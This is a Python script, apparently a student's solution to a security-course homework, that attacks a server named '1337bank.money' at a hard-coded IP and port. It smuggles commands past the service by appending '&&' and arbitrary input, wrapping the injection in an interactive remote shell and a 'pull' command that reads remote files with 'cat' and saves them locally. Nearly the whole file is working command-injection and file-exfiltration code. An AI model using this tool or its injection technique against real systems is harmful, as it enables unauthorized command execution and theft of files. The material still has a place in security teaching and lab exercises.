"""
    Author: Erin Schick
    Use the same techniques such as (but not limited to):
        1) Sockets
        2) File I/O
        3) raw_input()

    from the OSINT HW to complete this assignment. Good luck!
"""

import socket
import sys
import os.path

host = "1337bank.money" # IP address here: 142.93.136.81
port = 1337 # Port here
current_dir = "hello"

def execute_cmd(cmd):
    global current_dir

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    data = s.recv(1024)

    if current_dir.split()[0] == "cd":
        s.send(host + " && " + current_dir + cmd + "\n")
    else:
        s.send(host + " && " + cmd + "\n")

    if cmd.split()[0] == "cd":
        current_dir = cmd + "&&"

    data = s.recv(1024)
    data2 = s.recv(1024)
    print(data2)
    return data2


if __name__ == '__main__':
    print("Welcome to 1337bank.money's")

    while True:
        print(">")
        command = raw_input()

        if command == "shell":
            while True:
                print("$$$$$$>")
                response = raw_input()

                if response == "quit":
                    break;
                else:
                    execute_cmd(response)

        elif command.split()[0] == "pull":
            str = execute_cmd("cat " + command.split()[1])
            local_path = command.split()[2] + "/result.txt"
            file1 = open("result.txt", "w")
            file1.write(str)
            file1.close()

            os.rename("result.txt", local_path)

        elif command == "help":
            print("Welcome to the help menu!")
            print("Commands you can enter include: shell, pull, help <remote_path> <local_path>, and quit")

        elif command == "quit":
            sys.exit()

        else:
            print("Your command was incorrect, please insert one of these instead: shell, pull, help <remote_path> <local_path>, and quit")
